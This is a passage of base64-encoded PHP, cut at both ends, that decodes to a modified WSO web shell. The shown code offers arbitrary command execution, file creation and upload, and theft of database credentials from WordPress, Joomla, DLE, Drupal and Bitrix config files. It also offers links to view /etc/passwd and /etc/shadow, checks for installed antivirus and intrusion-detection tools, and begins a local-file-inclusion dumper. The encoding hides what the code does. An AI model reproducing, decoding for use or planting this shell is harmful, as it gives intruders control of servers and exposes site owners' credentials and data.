PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnQ29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPg0KCTwvdHI+PHRyPg0KCTx0ZCBjb2xzcGFuPTI+IjtTaG93RGVmYXVsdEZvcm0oIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtc19pbmZvIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cImdldCBzaXRlIGluZm8gKFdvcmRQcmVzcywgSm9vbWxhLCBETEUsIERydXBhbCwgQml0cml4KVwiPiIpO2lmKGlzc2V0KCRfUE9TVFsnY21zX2luZm8nXSkpeyRkaXI9KGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOyRjbXNTcWxEYXRhPWFycmF5KCJob3N0Ij0+IiIsInVzZXIiPT4iIiwicGFzcyI9PiIiLCJkYiI9PiIiKTtwcmludCAnPHRleHRhcmVhIGNvbHM9MTAwIHJvd3M9MTA+JztpZihpc19maWxlKCRkaXIuIi93cC1jb25maWcucGhwIikpeyRjbXNGaWxlU2V0dD1maWxlX2dldF9jb250ZW50cygkZGlyLiIvd3AtY29uZmlnLnBocCIpO3ByaW50ICJXb3JkUHJlc3NcclxuXHJcbiI7cHJlZ19tYXRjaCgnJVwkdGFibGVfcHJlZml4W15cJ10rXCcoLis/KVwnJWknLCRjbXNGaWxlU2V0dCwkY21zU2V0dE1hdGNoZSk7cHJlZ19tYXRjaF9hbGwoJyVkZWZpbmVcKFwnKC4rKVwnLCBcJyguKilcJ1wpOyVpJywkY21zRmlsZVNldHQsJGNtc1NldHRNYXRjaGVzLFBSRUdfU0VUX09SREVSKTskY21zRGFkYVRtcD1hcnJheSgpO2lmKGlzc2V0KCRjbXNTZXR0TWF0Y2hlWzEgXSkgJiYgJGNtc1NldHRNYXRjaGVzPj00ICl7Zm9yZWFjaCgkY21zU2V0dE1hdGNoZXMgYXMgJGNtc1NldHRNYXRjaGVzS2V5PT4kY21zU2V0dE1hdGNoZXNWYWwpeyRjbXNEYWRhVG1wWyRjbXNTZXR0TWF0Y2hlc1ZhbFsxIF1dPSRjbXNTZXR0TWF0Y2hlc1ZhbFsyIF07fWlmKGlzc2V0KCRjbXNEYWRhVG1wWydEQl9OQU1FJ10pICYmIGlzc2V0KCRjbXNEYWRhVG1wWydEQl9VU0VSJ10pICYmIGlzc2V0KCRjbXNEYWRhVG1wWydEQl9QQVNTV09SRCddKSAmJiBpc3NldCgkY21zRGFkYVRtcFsnREJfSE9TVCddKSl7JGNtc1NxbERhdGE9YXJyYXkoImhvc3QiPT4kY21zRGFkYVRtcFsnREJfSE9TVCddLCJ1c2VyIj0+JGNtc0RhZGFUbXBbJ0RCX1VTRVInXSwicGFzcyI9PiRjbXNEYWRhVG1wWydEQl9QQVNTV09SRCddLCJkYiI9PiRjbXNEYWRhVG1wWydEQl9OQU1FJ10pOyRkYj1uZXcgZGJteXNxbCgkY21zU3FsRGF0YVsnaG9zdCddLCRjbXNTcWxEYXRhWyd1c2VyJ10sJGNtc1NxbERhdGFbJ3Bhc3MnXSwkY21zU3FsRGF0YVsnZGInXSwidXRmLTgiKTskcXVlcnk9JGRiLT5xdWVyeUFycigiU0VMRUNUIGBvcHRpb25fbmFtZWAsYG9wdGlvbl92YWx1ZWAgRlJPTSBgIi4kY21zU2V0dE1hdGNoZVsxIF0uIm9wdGlvbnNgIik7JGNtc1F1ZXJ5PWFycmF5KCk7Zm9yZWFjaCgkcXVlcnkgYXMgJHF1ZXJ5S2V5PT4kcXVlcnlWYWwpeyRjbXNRdWVyeVskcXVlcnlWYWxbJ29wdGlvbl9uYW1lJ11dPSRxdWVyeVZhbFsnb3B0aW9uX3ZhbHVlJ107fXByaW50X3IoJGNtc1F1ZXJ5KTt9fX1pZihpc19maWxlKCRkaXIuIi9jb25maWd1cmF0aW9uLnBocCIpKXskY21zRmlsZVNldHQ9ZmlsZV9nZXRfY29udGVudHMoJGRpci4iL2NvbmZpZ3VyYXRpb24ucGhwIik7cHJpbnQgIkpvb21sYVxyXG5cclxuIjtwcmludCBpY29udigidXRmLTgiLCJ3aW5kb3dzLTEyNTEiLCRjbXNGaWxlU2V0dCk7fWlmKGlzX2ZpbGUoJGRpci4iL2VuZ2luZS9kYXRhL2NvbmZpZy5waHAiKSl7JGNtc0ZpbGVTZXR0PWZpbGVfZ2V0X2NvbnRlbnRzKCRkaXIuIi9lbmdpbmUvZGF0YS9jb25maWcucGhwIik7cHJpbnQgIkRMRVxyXG5cclxuIjtwcmludCBzdHJfcmVwbGFjZShhcnJheSgiXHJcblxyXG4iLCJcblxuIiksYXJyYXkoIlxyXG4iLCJcbiIpLCRjbXNGaWxlU2V0dCk7fWlmKGlzX2ZpbGUoJGRpci4iL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIikpeyRjbXNGaWxlU2V0dD1maWxlX2dldF9jb250ZW50cygkZGlyLiIvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiKTtwcmludCAiRHJ1cGFsXHJcblxyXG4iO3ByZWdfbWF0Y2goJyVcJ2RhdGFiYXNlXCdbXlwqXCddK1wnKFteXCddKilcJ1teXCpdK1wndXNlcm5hbWVcJ1teXCpcJ10rXCcoW15cJ10qKVwnW15cKl0rXCdwYXNzd29yZFwnW15cKlwnXStcJyhbXlwnXSopXCdbXlwqXStcJ2hvc3RcJ1teXCpcJ10rXCcoW15cJ10qKVwnW15cKl0rXCdwcmVmaXhcJ1teXCpcJ10rXCcoW15cJ10qKVwnJWlzJywkY21zRmlsZVNldHQsJGNtc1NldHRNYXRjaGVzKTtpZihjb3VudCgkY21zU2V0dE1hdGNoZXMpPT02ICl7JGNtc1NxbERhdGE9YXJyYXkoImhvc3QiPT4kY21zU2V0dE1hdGNoZXNbNCBdLCJ1c2VyIj0+JGNtc1NldHRNYXRjaGVzWzIgXSwicGFzcyI9PiRjbXNTZXR0TWF0Y2hlc1szIF0sImRiIj0+JGNtc1NldHRNYXRjaGVzWzEgXSwicHJlZml4Ij0+JGNtc1NldHRNYXRjaGVzWzUgXSk7fWVsc2Uge3ByZWdfbWF0Y2goJyVcJGRiX3VybCA9IFwnW2Etel0rOi8vKC4rPylAKC4rPykvKC4rPylcJztbXipdK1wkZGJfcHJlZml4ID0gXCcoW15cJ10qKVwnOyVpJywkY21zRmlsZVNldHQsJGNtc1NldHRNYXRjaGVzKTtpZihjb3VudCgkY21zU2V0dE1hdGNoZXMpPT01ICl7JHVzZXJQd2Q9ZXhwbG9kZSgiOiIsJGNtc1NldHRNYXRjaGVzWzEgXSk7aWYoIWlzc2V0KCR1c2VyUHdkWzEgXSkpeyR1c2VyUHdkWzEgXT0nJzt9JGNtc1NxbERhdGE9YXJyYXkoImhvc3QiPT4kY21zU2V0dE1hdGNoZXNbMiBdLCJ1c2VyIj0+JHVzZXJQd2RbMCBdLCJwYXNzIj0+JHVzZXJQd2RbMSBdLCJkYiI9PiRjbXNTZXR0TWF0Y2hlc1szIF0sInByZWZpeCI9PiRjbXNTZXR0TWF0Y2hlc1s0IF0pO319aWYoJGNtc1NxbERhdGFbJ2hvc3QnXSE9IiIpeyRkYj1uZXcgZGJteXNxbCgkY21zU3FsRGF0YVsnaG9zdCddLCRjbXNTcWxEYXRhWyd1c2VyJ10sJGNtc1NxbERhdGFbJ3Bhc3MnXSwkY21zU3FsRGF0YVsnZGInXSwidXRmLTgiKTskcXVlcnk9JGRiLT5xdWVyeUFycigiU0VMRUNUIGBuYW1lYCxgdmFsdWVgIEZST00gYCIuJGNtc1NxbERhdGFbJ3ByZWZpeCddLiJ2YXJpYWJsZWAiKTskY21zUXVlcnk9YXJyYXkoKTtmb3JlYWNoKCRxdWVyeSBhcyAkcXVlcnlLZXk9PiRxdWVyeVZhbCl7JGNtc1F1ZXJ5WyRxdWVyeVZhbFsnbmFtZSddXT0kcXVlcnlWYWxbJ3ZhbHVlJ107fXByaW50X3IoJGNtc1F1ZXJ5KTskcXVlcnk9JGRiLT5xdWVyeUFycigiU0VMRUNUICogRlJPTSBgIi4kY21zU3FsRGF0YVsncHJlZml4J10uIndhdGNoZG9nYCBMSU1JVCAxIik7cHJpbnRfcigkcXVlcnkpO319aWYoaXNfZmlsZSgkZGlyLiIvYml0cml4L3BocF9pbnRlcmZhY2UvZGJjb25uLnBocCIpKXskY21zRmlsZVNldHQ9ZmlsZV9nZXRfY29udGVudHMoJGRpci4iL2JpdHJpeC9waHBfaW50ZXJmYWNlL2RiY29ubi5waHAiKTtwcmludCAiQml0cml4XHJcblxyXG4iO3ByZWdfbWF0Y2goJyVcJERCSG9zdFteIl0rIihbXiJdKikuKz9cblwkREJMb2dpblteIl0rIihbXiJdKikuK1xuXCREQlBhc3N3b3JkW14iXSsiKFteIl0qKS4rXG5cJERCTmFtZVteIl0rIihbXiJdKikiJWlzJywkY21zRmlsZVNldHQsJGNtc1NldHRNYXRjaGVzKTtpZihjb3VudCgkY21zU2V0dE1hdGNoZXMpPT01ICl7JGNtc1NxbERhdGE9YXJyYXkoImhvc3QiPT4kY21zU2V0dE1hdGNoZXNbMSBdLCJ1c2VyIj0+JGNtc1NldHRNYXRjaGVzWzIgXSwicGFzcyI9PiRjbXNTZXR0TWF0Y2hlc1szIF0sImRiIj0+JGNtc1NldHRNYXRjaGVzWzQgXSk7JGRiPW5ldyBkYm15c3FsKCRjbXNTcWxEYXRhWydob3N0J10sJGNtc1NxbERhdGFbJ3VzZXInXSwkY21zU3FsRGF0YVsncGFzcyddLCRjbXNTcWxEYXRhWydkYiddLCJ1dGYtOCIpOyRxdWVyeT0kZGItPnF1ZXJ5QXJyKCJTRUxFQ1QgKiBGUk9NIGBiX2xhbmdgIik7cHJpbnRfcigkcXVlcnkpOyRxdWVyeT0kZGItPnF1ZXJ5QXJyKCJTRUxFQ1QgYE5BTUVgLGBWQUxVRWAgRlJPTSBgYl9vcHRpb25gIFdIRVJFIGBNT0RVTEVfSURgID0gJ21haW4nIik7JGNtc1F1ZXJ5PWFycmF5KCk7Zm9yZWFjaCgkcXVlcnkgYXMgJHF1ZXJ5S2V5PT4kcXVlcnlWYWwpeyRjbXNRdWVyeVskcXVlcnlWYWxbJ05BTUUnXV09JHF1ZXJ5VmFsWydWQUxVRSddO31wcmludF9yKCRjbXNRdWVyeSk7fX1wcmludCAnPC90ZXh0YXJlYT4nO3ByaW50ICI8YnIgLz4iO1Nob3dEZWZhdWx0Rm9ybSgiDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jbXNfc3FsIHZhbHVlPVwiMVwiPg0KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwib3BlbiBzaXRlIGRhdGFiYXNlXCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInR5cGVcIiB2YWx1ZT1cIm15c3FsXCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9ob3N0XCIgdmFsdWU9XCIiLiRjbXNTcWxEYXRhWydob3N0J10uIlwiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuJGNtc1NxbERhdGFbJ3VzZXInXS4iXCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9wYXNzXCIgdmFsdWU9XCIiLiRjbXNTcWxEYXRhWydwYXNzJ10uIlwiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfYmFzZVwiIHZhbHVlPVwiIi4kY21zU3FsRGF0YVsnZGInXS4iXCI+DQoiLCJTcWwiLCJxdWVyeSIpO31wcmludCAiPC90ZD4NCgk8L3RyPg0KCTwvdGFibGU+IjtwcmludCAiPGNlbnRlcj5XU08gIi5XU09fVkVSU0lPTi4iIChTdGVhbHRoZXJzLmluIGVkaXRpb24gLSBNb2RpZmllZCBieSBEZWF0aCBCdXJuZXIgLyBTdGFmNCk8L2NlbnRlcj48L2Rpdj48L2JvZHk+PC9odG1sPiI7fWlmKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSl7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApe3JldHVybiBmYWxzZTt9fWlmKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSl7ZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApe3JldHVybiBmYWxzZTt9fWZ1bmN0aW9uIHdzb0V4KCRpbil7JG91dD0nJztpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7QGV4ZWMoJGluLCRvdXQpOyRvdXQ9QGpvaW4oIlxuIiwkb3V0KTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7b2Jfc3RhcnQoKTtAcGFzc3RocnUoJGluKTskb3V0PW9iX2dldF9jbGVhbigpO31lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7b2Jfc3RhcnQoKTtAc3lzdGVtKCRpbik7JG91dD1vYl9nZXRfY2xlYW4oKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskb3V0PXNoZWxsX2V4ZWMoJGluKTt9ZWxzZWlmKGlzX3Jlc291cmNlKCRmPUBwb3BlbigkaW4sInIiKSkpeyRvdXQ9IiI7d2hpbGUoIUBmZW9mKCRmKSkkb3V0Lj1mcmVhZCgkZiwxMDI0ICk7cGNsb3NlKCRmKTt9cmV0dXJuICRvdXQ7fWZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKXtpZigkcz49MTA3Mzc0MTgyNCApcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcy8xMDczNzQxODI0ICkuJyBHQic7ZWxzZWlmKCRzPj0xMDQ4NTc2IClyZXR1cm4gc3ByaW50ZignJTEuMmYnLCRzLzEwNDg1NzYgKS4nIE1CJztlbHNlaWYoJHM+PTEwMjQgKXJldHVybiBzcHJpbnRmKCclMS4yZicsJHMvMTAyNCApLicgS0InO2Vsc2UgcmV0dXJuICRzLicgQic7fWZ1bmN0aW9uIHdzb1Blcm1zKCRwKXtpZigoJHAmMHhjMDAwICk9PTB4YzAwMCApJGk9J3MnO2Vsc2VpZigoJHAmMHhhMDAwICk9PTB4YTAwMCApJGk9J2wnO2Vsc2VpZigoJHAmMHg4MDAwICk9PTB4ODAwMCApJGk9Jy0nO2Vsc2VpZigoJHAmMHg2MDAwICk9PTB4NjAwMCApJGk9J2InO2Vsc2VpZigoJHAmMHg0MDAwICk9PTB4NDAwMCApJGk9J2QnO2Vsc2VpZigoJHAmMHgyMDAwICk9PTB4MjAwMCApJGk9J2MnO2Vsc2VpZigoJHAmMHgxMDAwICk9PTB4MTAwMCApJGk9J3AnO2Vsc2UgJGk9J3UnOyRpLj0oKCRwJjB4MDEwMCApPydyJzonLScpOyRpLj0oKCRwJjB4MDA4MCApPyd3JzonLScpOyRpLj0oKCRwJjB4MDA0MCApPygoJHAmMHgwODAwICk/J3MnOid4Jyk6KCgkcCYweDA4MDAgKT8nUyc6Jy0nKSk7JGkuPSgoJHAmMHgwMDIwICk/J3InOictJyk7JGkuPSgoJHAmMHgwMDEwICk/J3cnOictJyk7JGkuPSgoJHAmMHgwMDA4ICk/KCgkcCYweDA0MDAgKT8ncyc6J3gnKTooKCRwJjB4MDQwMCApPydTJzonLScpKTskaS49KCgkcCYweDAwMDQgKT8ncic6Jy0nKTskaS49KCgkcCYweDAwMDIgKT8ndyc6Jy0nKTskaS49KCgkcCYweDAwMDEgKT8oKCRwJjB4MDIwMCApPyd0JzoneCcpOigoJHAmMHgwMjAwICk/J1QnOictJykpO3JldHVybiAkaTt9ZnVuY3Rpb24gd3NvUGVybXNDb2xvcigkZil7aWYoIUBpc19yZWFkYWJsZSgkZikpcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicud3NvUGVybXMoQGZpbGVwZXJtcygkZikpLic8L2ZvbnQ+JztlbHNlaWYoIUBpc193cml0YWJsZSgkZikpcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nLndzb1Blcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9mb250Pic7ZWxzZSByZXR1cm4gJzxmb250IGNvbG9yPSNjY2ZmMDA+Jy53c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvZm9udD4nO31pZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpe2Z1bmN0aW9uIHNjYW5kaXIoJGRpcil7JGRoPW9wZW5kaXIoJGRpcik7d2hpbGUoZmFsc2UhPT0oJGZpbGVuYW1lPXJlYWRkaXIoJGRoKSkpJGZpbGVzW109JGZpbGVuYW1lO3JldHVybiAkZmlsZXM7fX1mdW5jdGlvbiB3c29XaGljaCgkcCl7JHBhdGg9d3NvRXgoJ3doaWNoICcuJHApO2lmKCFlbXB0eSgkcGF0aCkpcmV0dXJuICRwYXRoO3JldHVybiBmYWxzZTt9ZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpe3dzb0hlYWRlcigpO2VjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nO2Z1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCR2KXskdj10cmltKCR2KTtpZigkdil7ZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JztpZihzdHJwb3MoJHYsIlxuIik9PT1mYWxzZSllY2hvICR2Lic8YnI+JztlbHNlIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJlPic7fX13c29TZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJyxAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSl3c29TZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJyxpbXBsb2RlKCcsICcsYXBhY2hlX2dldF9tb2R1bGVzKCkpKTt3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTt3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTt3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJyxAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpO3dzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7d3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7JHRlbXA9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKSR0ZW1wW109Ik15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjtpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkkdGVtcFtdPSJNU1NRTCI7aWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpJHRlbXBbXT0iUG9zdGdyZVNRTCI7aWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKSR0ZW1wW109Ik9yYWNsZSI7d3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLGltcGxvZGUoJywgJywkdGVtcCkpO2VjaG8gJzxicj4nO2lmKCRHTE9CQUxTWydvcyddPT0nbml4Jyl7d3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJyxAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTt3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTt3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpO3dzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJyxAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpO2lmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10peyR1c2VyZnVsPWFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTskZGFuZ2VyPWFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7JGRvd25sb2FkZXJzPWFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpO2VjaG8gJzxicj4nOyR0ZW1wPWFycmF5KCk7Zm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSlpZih3c29XaGljaCgkaXRlbSkpJHRlbXBbXT0kaXRlbTt3c29TZWNQYXJhbSgnVXNlcmZ1bCcsaW1wbG9kZSgnLCAnLCR0ZW1wKSk7JHRlbXA9YXJyYXkoKTtmb3JlYWNoKCRkYW5nZXIgYXMgJGl0ZW0paWYod3NvV2hpY2goJGl0ZW0pKSR0ZW1wW109JGl0ZW07d3NvU2VjUGFyYW0oJ0RhbmdlcicsaW1wbG9kZSgnLCAnLCR0ZW1wKSk7JHRlbXA9YXJyYXkoKTtmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbSlpZih3c29XaGljaCgkaXRlbSkpJHRlbXBbXT0kaXRlbTt3c29TZWNQYXJhbSgnRG93bmxvYWRlcnMnLGltcGxvZGUoJywgJywkdGVtcCkpO2VjaG8gJzxici8+Jzt3c29TZWNQYXJhbSgnSEREIHNwYWNlJyx3c29FeCgnZGYgLWgnKSk7d3NvU2VjUGFyYW0oJ0hvc3RzJyxAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7fX1lbHNlIHt3c29TZWNQYXJhbSgnT1MgVmVyc2lvbicsd3NvRXgoJ3ZlcicpKTt3c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTt3c29TZWNQYXJhbSgnVXNlciBBY2NvdW50cycsd3NvRXgoJ25ldCB1c2VyJykpO31lY2hvICc8L2Rpdj4nO3dzb0Zvb3RlcigpO31mdW5jdGlvbiBhY3Rpb25sZmlzY2FuKCl7d3NvSGVhZGVyKCk7cHJpbnQgJw0KICAgPGgzPkRlYXRoIEJ1cm5lclwncyBMRkkgRmlsZSBkdW1wZXI8L2gzPg0KDQogICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxmaXNjYW4iPg0KICAgICAgTEZJIFVSTDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYwIiBuYW1lPSJsZml1cmwiIHZhbHVlPSIiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPiBGaWxlOiA8c2VsZWN0IG5hbWU9InNjYW50eXBlIj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPg0KICAgICAgICAgICAgQWNjZXNzIExvZw0KICAgICAgICAgPC9vcHRpb24+DQoNCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPg0KICAgICAgICAgICAgaHR0cGQuY29uZg0KICAgICAgICAgPC9vcHRpb24+DQoNCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjMiPg0KICAgICAgICAgICAgRXJyb3IgTG9nDQogICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjQiPg0KICAgICAgICAgICAgcGhwLmluaQ0KICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICA8b3B0aW9uIHZhbHVlPSI1Ij4NCiAgICAgICAgICAgIE15U1FMDQogICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPg0KICAgICAgICAgICAgRlRQDQogICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjciPg0KICAgICAgICAgICAgRW52aXJvbg0KICAgICAgICAgPC9vcHRpb24+DQogICAgICA8L3NlbGVjdD4gTnVsbDogPHNlbGVjdCBuYW1lPSJudWxsIj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IiUwMCI+DQogICAgICAgICAgICBZZXMNCiAgICAgICAgIDwvb3B0aW9uPg0KDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSIiPg0KICAgICAgICAgICAgTm8NCiAgICAgICAgIDwvb3B0aW9uPg0KICAgICAgPC9zZWxlY3Q+IFVzZXItQWdlbnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY3VzdG9tX2hlYWRlciIgdmFsdWU9IiI+DQogICA8L2Zvcm0+JztlcnJvcl9yZXBvcnRpbmcoMCApO2